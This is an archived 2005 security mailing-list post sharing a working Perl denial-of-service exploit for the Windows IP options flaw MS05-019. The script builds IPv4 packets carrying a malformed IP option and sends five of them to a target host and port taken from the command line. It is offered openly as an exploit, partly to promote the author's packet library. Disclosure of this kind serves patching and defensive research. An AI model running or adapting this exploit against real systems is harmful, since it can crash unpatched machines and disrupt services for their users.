OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
MS05-019 Windows IP options DoS exploit

From: GomoR (bugtraqgomor.org)
Date: Sun Apr 24 2005 - 15:24:51 CDT

   Here is another exploit for MS05-019 vulnerability.

   Well, it is just to promote Net::Packet ;)

---
#!/usr/bin/perl
use strict;
use warnings;

my %opts;
use Getopt::Std;
getopts('t:p:', \%opts);
die("Usage: $0 -t TARGET -p PORT\n") unless $opts{t} && $opts{p};

use Net::Pkt;

$Env->debug(3);

my $frame = Net::Packet::Frame->new(
   l3 => Net::Packet::IPv4->new(
      dst => $opts{t},
      options => "\x03\x27". 'G'x38,
   ),
   l4 => Net::Packet::TCP->new(
      dst => $opts{p},
   ),
);

$frame->send for 1..5;
---

--
  ^ ___ ___ FreeBSD Network - http://www.GomoR.org/ <-+
  | / __ |__/ Systems & Security Engineer |
  | \__/ | \ ---[ zsh$ alias psed='perl -pe ' ]--- |
  +--> Net::Packet <=> http://search.cpan.org/~gomor/ <--+